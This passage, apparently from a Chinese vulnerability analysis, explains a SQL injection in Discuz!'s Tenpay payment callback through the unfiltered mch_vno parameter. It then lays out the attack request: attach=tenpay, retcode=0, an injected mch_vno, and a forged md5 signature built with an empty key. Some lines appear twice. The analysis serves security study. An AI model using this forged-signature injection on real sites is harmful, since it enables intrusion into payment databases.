显然在上面的参数获取和传递过程中,没有对变量进行任何过滤,因此攻击者可以通过对mch_vno变量进行恶意构造,从而控制$orderid,最后导致在数据库查询处产生注入漏洞。
下面来进行有效的恶意攻击代码构造:
由于Discuz对提交的参数会有个校验值,因此我们需要重新计算自己的校验值:
$resHandler->isTenpaySign()

为了让程序按照我们的流程执行,在这里我们需要对这几个变量赋值:
attach=tenpay /*包含漏洞所在文件*/
retcode=0 /*使$notifydata['validator']=1*/
mch_vno=$sql_exp /*恶意构造,直接带入数据库查询的语句*/
retcode=0 /*使$notifydata['validator']=1*/
mch_vno=$sql_exp /*恶意构造,直接带入数据库查询的语句*/
因此我们自己构造的校验值计算如下:
sign= md5(“key=&attach=tenpay&mch_vno=$sql_exp&retcode=0”),